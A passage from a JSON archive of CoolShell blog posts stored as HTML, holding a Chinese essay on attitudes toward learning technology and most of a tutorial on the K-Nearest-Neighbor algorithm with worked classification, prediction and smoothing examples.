href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-16 对技术的态度.html",
    "content": "<html><body><p>最近人品爆发，图灵社区，InfoQ，51CTO相继对我做了采访，前两天我把<a href=\"https://coolshell.cn/articles/8031.html\" target=\"_blank\" title=\"InfoQ的ArchSummit大会对我的采访\">InfoQ对我的采访张贴了出来</a>，今天，图灵社区和51CTO对我的采访发布了（<a href=\"http://www.ituring.com.cn/article/9174\" target=\"_blank\" title=\"图灵访谈之三十二：我的精神家园——陈皓（@左耳朵耗子）专访\">图灵的访谈</a> ，<a href=\"http://developer.51cto.com/art/201208/353256.htm\" target=\"_blank\" title=\"专访陈皓：有关带队、沟通、成长与变化\">51CTO的访谈</a>），我是一个有技术焦虑症的人，我的经历比较特殊，对大家来说可能也没有什么意思，这两个采都有一些重叠的部分，不过有些观点我想再加强一些，并放在这里和大家一起分享一下。</p>\n<h4>对于日新月异的新技术，你是什么态度？</h4>\n<p>遇到新技术我会去了解，但不会把很大的精力放在这些技术（如：NoSQL，Node.js，等）。这些技术尚不成熟，只需要跟得住就可以了。技术十年以上可能是一个门槛。有人说技术更新换代很快，我一点儿都不觉得是这样想。虽然有不成熟的技术不断地涌出，但是成熟的技术，比如Unix，40多年，C，40多年，C++，30多年，TCP/IP，20多年，Java也有将近20年了……，所以，如果你着眼成熟的技术，其实并不多。</p>\n<p>我的观点是——<strong>要了解技术就一定需要了解整个计算机的技术历史发展和进化路线。</strong>（这个观点，我在《<a href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\" title=\"程序员技术练级攻略\">程序员练级攻略</a>》和《<a href=\"https://coolshell.cn/articles/7992.html\" target=\"_blank\" title=\"C++的坑真的多吗？\">C++的坑多吗？</a>》中提到过多次了。）因为，<strong>你要朝着球运动的轨迹去，而不是朝着球的位置去，要知道球的运动轨迹，你就需要知道它历史上是怎么跑的</strong>。</p>\n<p>如果要捋一个技术的脉络，70年代Unix的出现，是软件发展方面的一个里程碑，那个时期的C语言，也是语言方面的里程碑。（当时）所有的项目都在Unix/C上，全世界人都在用这两样东西写软件。Linux跟随的是Unix, Windows下的开发也是 C/C++。这时候出现的C++很自然就被大家接受了，企业级的系统很自然就会迁移到这上面，C++虽然接过了C的接力棒，但是它的问题是它没有一个企业方面的架构，而且太随意了，否则也不会有今天的Java。C++和C非常接近，它只不过是C的一个扩展，长年没有一个企业架构的框架。而Java在被发明后，被IBM把企业架构这部分的需求接了过来，J2EE的出现让C/C++捉襟见肘了，在语言进化上，还有Python/Ruby，后面还有了.NET，但可惜的是这只局限在Windows平台上。这些就是企业级软件方面语言层面就是C -&gt; C++ -&gt; Java这条主干，操作系统是Unix -&gt; Linux/Windows这条主干，软件开发中需要了解的网络知识就是Ethernet -&gt; IP -&gt; TCP/UDP 这条主干。另外一条脉络就是互联网方面的（HTML/CSS/JS/LAMP…）。我是一个有技术忧虑症的人，这几条软件开发的主线一定不能放弃。</p>\n<p>另外，从架构上来说，我们可以看到，</p>\n<p><span id=\"more-8088\"></span></p>\n<ul>\n<li>从单机的年代，到C/S架构（界面，业务逻辑，数据SQL都在Client上，只有数据库服库在S上）</li>\n<li>再到B/S结构（用浏览器来充当Client，但是传统的ASP/PHP/JSP/Perl/CGI这样的编程也都把界面，业务逻辑，和SQL都放在一起），但是B/S已经把这些东西放到了Web Server上，</li>\n<li>再到后来的中间件，把业务逻辑再抽出一层，放到一个叫App Server上，经典的三层结构。</li>\n<li>然后再到分布式结构，业务层分布式，数据层分布式。</li>\n<li>再到今天的云架构——全部移到服务器。</li>\n</ul>\n<div>我们可以看到技术的变迁都一直再把东西往后端移，前端只剩一个浏览器或是一个手机。通过这个你可以看到整个技术发展的趋势。所以，如果你了解了这些变迁，了解了这些变迁过程“不断填坑”的过程，你将会对技术有很强的把握。</div>\n<p>另外，我听到有很多人说，一些技术不适用，一些技术太学院派，但对我来说，无论是应用还是学术，我都会看，知识不愁多。何必搞应用的和搞学术的分开阵营，都是知识，学就好了。</p>\n<p>技术的发展要根植于历史，而不是未来。不要和我描述这个技术的未来会多么美好（InfoQ 的 ArchSummit大会上有一个微软来的人把Node.js说得跟仙女一样，然后给了一个Hello World），我承认你用一些新的技术可以实现很多花哨的东西。但是，我认为技术都是承前的，只有承前的才会常青。所以说“某某（技术）要火”这样的话是没有意义的，等它火了、应用多了，规模大了，再说。有些人说：“不学C/C++也是没有问题的”，我对此的回应是：<strong>如果连技术主干都可以不学的话，还有什么其他的好学呢？这些是计算机发展的根、脉络、祖师爷，这样的东西怎么可以不学呢？</strong></p>\n<p><strong></strong>另外，我们要去了解整个计算机文化，我觉得计算机文化源起于Unix/C这条线上（注意，我说的是文化不是技术）。我也写过很多与Unix文化相关的文章，大家可以看看我写的“<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" title=\"Unix传奇(上篇)\">Unix传奇</a>（<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\" title=\"Unix传奇(下篇)\">尤其是下篇</a>）”。</p>\n<h4>可是在应用环境中，对新技术的需求是很高的，你觉得在教育领域计算机科学的侧重应该是什么样的？</h4>\n<p>学校教的大部分都是知识密集型的技术，但是社会上的企业大部分都是劳动密集型的。什么是劳动密集型的企业呢？麦当劳炸薯条就是劳动密集型的工作，用不到学校教授的那些知识。如果有一天你不炸薯条了，而要去做更大更专业的东西，学校里的知识就会派上用场。有人说一个语言、一个技术，能解决问题能用就行了，我不这样认为。<strong>我觉得你应该至少要知道这些演变和进化的过程。而如果你要解决一些业务和技术难题，就需要抓住某种技术很深入地学习，当成艺术一样来学习。</strong></p>\n<p>我在“<a href=\"https://coolshell.cn/articles/6526.html\" target=\"_blank\" title=\"软件开发的“三重门”\">软件开发‘三重门’</a>”里说过，第一重门是业务功能，在这重门里，的确是会编程就可以了；第二重门是业务性能，在这一重门里，技术的基础就很管用了，比如：操作系统的文件管理，进程调度，内存管理，网络的七层模型，TCP/<del>UCP</del>UDP的协议，语言用法、编译和类库的实现，数据结构，算法等等就非常关键了；第三重门是业务智能，在这一重门里，你会发现很多东西都很学院派了，比如，搜索算法，推荐算法，预测，统计，机器学习，图像识别，分布式架构和算法，等等，你需要读很多计算机学院派的论文。</p>\n<p>总之，这主要看你职业生涯的背景了，如果你整天被当作劳动力来使用，你用到的技术就比较浅，比较实用，但是如果你做一些知识密集型的工作，你就需要用心来搞搞研究，就会发现你需要理论上的知识。比如说，我之前做过的跨国库存调配，需要知道最短路径的算法，而我现在在亚马逊做的库存预测系统，数据挖掘的那些东西都需要很强的数学建模、算法、数据挖掘的功底。</p>\n<p>我觉得真正的高手都来自知识密集型的学院派。他们更强的是，可以把那些理论的基础知识应用到现在的业务上来。但很可惜，<strong>我们国内今天的教育并没有很好地把那些学院派的理论知识和现实的业务问题很好地接合起来。</strong>比如说一些哈希表或二叉树的数据结构，如果我们的学校在讲述这些知识的时候能够接合实际的业务问题，效果会非常不错，如：设计一个IP地址和地理位置的查询系统，设计一个分布式的NoSQL的数据库，或是设计一个地理位置的检索应用等等。在学习操作系统的时候，如果老师可以带学生做一个手机或嵌入式操作系统，或是研究一下Unix System V或是Linux的源码的话，会更有意思。在学习网络知识的时候，能带学生重点学一下以太网和TCP/IP的特性，并调优，如果能做一个网络上的pub/sub的消息系统或是做一个像Nginx一样的web server，那会更好。如果在学图形学的过程中能带领学生实践一个作图工具或是一个游戏引擎，那会更有意思。</p>\n<p>总之，我们的教育和现实脱节太严重了，教的东西无论是在技术还是在实践上都严重落后和脱节，没有通过实际的业务或技术问题来教学生那些理论知识，这是一个失败。</p>\n<h4><strong>那么，现在做一个软件开发者是否更加困难了？</strong></h4>\n<p>我觉得倒不是。做一个软件开发者更简单了。因为现在互联网很发达，你可以找到很多共享的知识——相对于我那个时候。第一，知识你容易查到，然后社区很多，文章、分享的人也越来越多。我们那个时候没有的。上网一查，什么都没有。都得去自己琢磨，自己去调查。所以我觉得相比我们那个时候更容易了。第二，工具变多了。现在的工具比那个时候好用多了。我们那个时候就是一天到晚在vi里面，连个自动提示都没有，连个版本库管理都没有。不光工具变多，框架也多了，各种各样的编程框架。我们那时候都是生写。写JavaScript，生写，连个jQuery都没有。没有这些辅助性的、让你提高生产力的东西。J2EE那时候也没有。而且整个（开发环境）都很不成熟。一个服务器的最高配置就1GB的情况下，一个WebSphere起来就占了900多MB——这还能跑什么应用？所以只能去用最基础的系统。所以我觉得现在，无论是环境，还是开发的过程，都更规范了。以前我做开发的时候就是，什么都不懂就上了，瞎搞，没有什么开发规范，没有人理你，反正你搞得好就搞好，搞不好就搞不好了，全靠自己，包括做测试维护等等。我觉得现在的软件开发就很好，你一上去，就有好的工具，有好的知识库，有好的社区，有好的开发框架，还有好的流程，方法，甚至还有人帮你做测试，还有人告诉你应该怎么做。幸福得很。现在好多人还说这个不好那个不好，开发难什么的。其实容易多了。</p>\n<p>但是，有个东西我觉得是现在的软件开发者比我们那时候变得更难的。就是，你享福了以后，人就变懒，变娇气了。对很多东西的抱怨就开始多了。我们那个时候哪有什么好抱怨的？没啥好抱怨的，有活就干，有东西学就赶快学。现在呢，学个什么东西还挑挑拣拣的，抱怨这个语言太扯，那个IDE不好，这个框架太差，版本管理工具太扯，等等。<strong>这就好像以前我没东西吃，只有个糠吃，要是有面包有馒头，我就觉得非常非常好了。现在是，好吃的东西多了我们还学会挑食了，这也不好用，那也不好用</strong>。</p>\n<p>根本就不是技术变难了，环境变差了，是程序员变娇气了。所以软件开发变难，归根结底还是程序员们自己变娇气了。</p>\n<h4>你如何在进度压力下，享受技术带来的快乐？</h4>\n<p>中国人中庸的思想，入世和出世，每天的工作就是入世。举个例子，我十年前在上海的时候，给交通银行做项目的时候，每周休息一天，早九点到晚十点，每天工作12个小时，这样的工作持续了一整年，没有节假日，项目上的技术也没什么意思。当时我晚上十点回到住处，还想学一些C++/Java和Unix/Windows的技术，于是就看书到晚上11:30，每天如此，一年下来学到很多东西，时间没有荒废，心里就很开心。<strong>我觉得当时是快乐的，因为有成长的感觉是快乐的。</strong></p>\n<p>现在的我，工作、写博客、养孩子，事情其实更多。我早上7:30起床，会浏览一下国外的新闻，hacker news, tech church, reddit, highavailability之类的站点，9点上班。晚上6、7点钟下班，开始带孩子。十点钟孩子睡了觉，我会开始重新细读一下这一天都发生了些什么事情。这个时间也有可能会用来看书。学习的过程（我）是不喜欢被打断的，所以从十点到十二点，家人都睡了，这正是我连续学习的好时间。可能从晚上11:30开始，我会做点笔记或者写博客。我现在对酷壳文章的质量要求比较高一些，所以大概积累一个星期的时间才可以生成一篇文章。每天我大概都在一两点钟才会睡觉。没办法，我有技术焦虑症。但是觉得这样的生活很充实，也很踏实。</p>\n<p>另外，任何一门技术玩深了，都是很有意思的。有些人形成了一个价值取向，“我只做什么，绝不做什么”。前段时间有一个刚来亚马逊的工程师，他原来做的是数据挖掘推荐系统，原来的公司重组要让他做前端，他不肯就离职了，他说他不想做前端。我觉得，前端后端都是编程，Javascript是编程，C++也是编程。<strong>编程不在于你用什么语言去coding，而是你组织程序、设计软件的能力，只要你上升到脑力劳动上来，用什么都一样，技术无贵贱。</strong>你可以不喜欢那个技术，但是还是要了解了解，也没有必要完全不用，完全抛弃。Javascript啊——只要能被Javascript实现的，未来总有一天会被Javascript所取代。</p>\n<p>回到问题，怎么才能享受到快乐呢？</p>\n<ul>\n<li>第一，入世和出世要分开，不要让世俗的东西打扰到你的内心世界，你的情绪不应该为别人所控，也不应该被世俗所污染，活得真实，活得真实你才会快乐。</li>\n</ul>\n<ul>\n<li>第二，就是要有热情，有了热情，你的心情就会很好，加班都可以是快乐的，想一想我们整个通宵用来打游戏的时光，虽然很累，但是你也很开心，这都是因为有了热情的缘故。</li>\n</ul>\n<p>总之一句话——<strong>如果你没有兴趣，什么都是借口，如果你有兴趣了，什么都是好玩的</strong>。</p>\n<h4></h4>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-17 K Nearest Neighbor 算法.html",
    "content": "<html><body><p>K Nearest Neighbor算法又叫KNN算法，这个算法是机器学习里面一个比较经典的算法， 总体来说KNN算法是相对比较容易理解的算法。其中的K表示最接近自己的K个数据样本。KNN算法和<a href=\"https://coolshell.cn/articles/7779.html\" target=\"_blank\" title=\"K-Means 算法\">K-Means算法</a>不同的是，K-Means算法用来聚类，用来判断哪些东西是一个比较相近的类型，而KNN算法是用来做归类的，也就是说，有一个样本空间里的样本分成很几个类型，然后，给定一个待分类的数据，通过计算接近自己最近的K个样本来判断这个待分类数据属于哪个分类。<strong>你可以简单的理解为由那离自己最近的K个点来投票决定待分类数据归为哪一类</strong>。</p>\n<p style=\"text-align: left;\">Wikipedia上的<a href=\"http://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm\" target=\"_blank\">KNN词条</a>中有一个比较经典的图如下：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"size-full wp-image-8053 aligncenter\" height=\"199\" src=\"../wp-content/uploads/2012/08/220px-KnnClassification.svg_.png\" title=\"KNN Classification\" width=\"220\"/></p>\n<p style=\"text-align: left;\">从上图中我们可以看到，图中的有两个类型的样本数据，一类是蓝色的正方形，另一类是红色的三角形。而那个绿色的圆形是我们待分类的数据。</p>\n<ul>\n<li>如果K=3，那么离绿色点最近的有2个红色三角形和1个蓝色的正方形，这3个点投票，于是绿色的这个待分类点属于红色的三角形。</li>\n</ul>\n<ul>\n<li>如果K=5，那么离绿色点最近的有2个红色三角形和3个蓝色的正方形，这5个点投票，于是绿色的这个待分类点属于蓝色的正方形。</li>\n</ul>\n<p>我们可以看到，机器学习的本质——<strong>是基于一种数据统计的方法</strong>！那么，这个算法有什么用呢？我们来看几个示例。</p>\n<p><span id=\"more-8052\"></span></p>\n<h4>产品质量判断</h4>\n<p>假设我们需要判断纸巾的品质好坏，纸巾的品质好坏可以抽像出两个向量，一个是“酸腐蚀的时间”，一个是“能承受的压强”。如果我们的样本空间如下：（所谓样本空间，又叫Training Data，也就是用于机器学习的数据）</p>\n<table border=\"1\" cellpadding=\"3\" cellspacing=\"3\" style=\"margin: auto;\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\"><strong>向量X1</strong></p>\n<p align=\"center\"><strong>耐酸时间（秒）</strong></p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\"><strong>向量X2</strong></p>\n<p align=\"center\"><strong>圧强(公斤/平方米)</strong></p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\"><strong>品质Y</strong></p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">坏</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">坏</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">3</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">好</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">1</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"33%\">\n<p align=\"center\">好</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>那么，如果 X1 = 3 和 X2 = 7， 这个毛巾的品质是什么呢？这里就可以用到KNN算法来判断了。</p>\n<p>假设K=3，K应该是一个奇数，这样可以保证不会有平票，下面是我们计算（3，7）到所有点的距离。（关于那些距离公式，可以参看<a href=\"https://coolshell.cn/articles/7779.html\" target=\"_blank\" title=\"K-Means 算法\">K-Means算法中的距离公式</a>）</p>\n<table border=\"1\" cellpadding=\"3\" cellspacing=\"3\" style=\"margin: auto;\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>向量X1</strong></p>\n<p align=\"center\"><strong>耐酸时间（秒）</strong></p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>向量X2</strong></p>\n<p align=\"center\"><strong>圧强(公斤/平方米)</strong></p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>计算到 (3, 7)的距离</strong></p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong>向量Y</strong></p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img alt=\"\" height=\"24\" src=\"../wp-content/uploads/2012/08/KNN_Numerical-example_clip_image004.gif\" width=\"144\"/></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> 坏</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">7</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img alt=\"\" height=\"24\" src=\"../wp-content/uploads/2012/08/KNN_Numerical-example_clip_image006.gif\" width=\"145\"/></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> N/A</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">3</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img alt=\"\" height=\"24\" src=\"../wp-content/uploads/2012/08/KNN_Numerical-example_clip_image008.gif\" width=\"136\"/></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> 好</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">1</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\">4</p>\n</td>\n<td valign=\"top\" width=\"25%\">\n<p align=\"center\"><strong><img alt=\"\" height=\"24\" src=\"../wp-content/uploads/2012/08/KNN_Numerical-example_clip_image010.gif\" width=\"140\"/></strong></p>\n</td>\n<td style=\"text-align: center;\" valign=\"top\" width=\"25%\"> 好</td>\n</tr>\n</tbody>\n</table>\n<p>所以，最后的投票，好的有2票，坏的有1票，最终需要测试的（3，7）是合格品。（当然，你还可以使用权重——可以把距离值做为权重，越近的权重越大，这样可能会更准确一些）</p>\n<p><strong>注：<a href=\"http://people.revoledu.com/kardi/tutorial/KNN/KNN_Numerical-example.html\" target=\"_blank\">示例来自这里</a>，<a href=\"https://coolshell.cn/wp-content/uploads/2012/08/K-NearestNeighbors.xls\">K-NearestNeighbors Excel表格下载</a></strong></p>\n<h4>预测</h4>\n<p>假设我们有下面一组数据，假设X是流逝的秒数，Y值是随时间变换的一个数值（你可以想像是股票值）</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"187\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image004.jpg\" title=\"KNN_TimeSeries_clip_image004\" width=\"191\"/></p>\n<p>那么，当时间是6.5秒的时候，Y值会是多少呢？我们可以用KNN算法来预测之。</p>\n<p>这里，让我们假设K=2，于是我们可以计算所有X点到6.5的距离，如：X=5.1，距离是 | 6.5 – 5.1 | = 1.4， X = 1.2 那么距离是 | 6.5 – 1.2 | = 5.3 。于是我们得到下面的表：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"120\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image006.jpg\" title=\"KNN_TimeSeries_clip_image006\" width=\"312\"/></p>\n<p>注意，上图中因为K=2，所以得到X=4 和 X =5.1的点最近，得到的Y的值分别为27和8，在这种情况下，我们可以简单的使用平均值来计算：<img alt=\"\" height=\"41\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image008.gif\" title=\"KNN_TimeSeries_clip_image008\" width=\"87\"/></p>\n<p>于是，最终预测的数值为：17.5</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8072\" height=\"305\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image010.jpg\" title=\"KNN_TimeSeries_clip_image010\" width=\"402\"/></p>\n<p><strong>注：<a href=\"http://people.revoledu.com/kardi/tutorial/KNN/KNN_TimeSeries.htm\" target=\"_blank\">示例来自这里</a>，<a href=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_TimeSeries.xls\">KNN_TimeSeries Excel表格下载</a></strong></p>\n<h4>插值，平滑曲线</h4>\n<p>KNN算法还可以用来做平滑曲线用，这个用法比较另类。假如我们的样本数据如下（和上面的一样）：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"35\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image012.jpg\" title=\"KNN_TimeSeries_clip_image012\" width=\"335\"/></p>\n<p>要平滑这些点，我们需要在其中插入一些值，比如我们用步长为0.1开始插值，从0到6开始，计算到所有X点的距离（绝对值），下图给出了从0到0.5 的数据：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8074\" height=\"152\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image014.jpg\" title=\"KNN_TimeSeries_clip_image014\" width=\"334\"/></p>\n<p>下图给出了从2.5到3.5插入的11个值，然后计算他们到各个X的距离，假值K=4，那么我们就用最近4个X的Y值，然后求平均值，得到下面的表：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"206\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image016.jpg\" title=\"KNN_TimeSeries_clip_image016\" width=\"576\"/></p>\n<p>于是可以从0.0, 0.1, 0.2, 0.3 …. 1.1, 1.2, 1.3…..3.1, 3.2…..5.8, 5.9, 6.0 一个大表，跟据K的取值不同，得到下面的图：</p>\n<table style=\"border: 0px; margin: auto;\">\n<tbody>\n<tr>\n<td><img alt=\"\" class=\"aligncenter size-full wp-image-8080\" height=\"246\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image026.jpg\" title=\"KNN_TimeSeries_clip_image026\" width=\"262\"/></td>\n<td><img alt=\"\" class=\"aligncenter size-full wp-image-8079\" height=\"249\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image024.jpg\" title=\"KNN_TimeSeries_clip_image024\" width=\"270\"/></td>\n</tr>\n<tr>\n<td><img alt=\"\" class=\"aligncenter size-full wp-image-8078\" height=\"244\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image022.jpg\" title=\"KNN_TimeSeries_clip_image022\" width=\"262\"/></td>\n<td><img alt=\"\" class=\"aligncenter size-full wp-image-8077\" height=\"234\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image020.jpg\" title=\"KNN_TimeSeries_clip_image020\" width=\"251\"/></td>\n</tr>\n<tr>\n<td><img alt=\"\" class=\"aligncenter size-full wp-image-8076\" height=\"228\" src=\"../wp-content/uploads/2012/08/KNN_TimeSeries_clip_image018.jpg\" title=\"KNN_TimeSeries_clip_image018\" width=\"246\"/></td>\n</tr>\n</tbody>\n</table>\n<p><strong>注：<a href=\"http://people.revoledu.com/kardi/tutorial/KNN/KNN_TimeSeries.htm\" target=\"_blank\">示例来自这里</a>，<a href=\"https://coolshell.cn/wp-content/uploads/2012/08/KNN_Smoothing.xls\">KNN_Smoothing Excel表格下载</a></strong></p>\n<h4>后记</h4>\n<p>最后，我想再多说两个事，</p>\n<p>1） 一个是机器学习，算法基本上都比较简单，最难的是数学建模，把那些业务中的特性抽象成向量的过程，另一个是选取适合模型的数据样本。这两个事都不是简单的事。算法反而是比较简单的事。</p>\n<p>2）对于KNN算法中找到离自己最近的K个点，是一个很经典的算法面试题，需要使用到的数据结构是“<a href=\"http://en.wikipedia.org/wiki/Binary_heap\" target=\"_blank\">最大堆——Max Heap</a>”，一种二叉树。你可以看看相关的算法。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7779.html\"><img alt=\"K-Means 算法\" height=\"150\" src=\"../wp-content/uploads/2012/06/K-Means-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7779.html\">K-Means 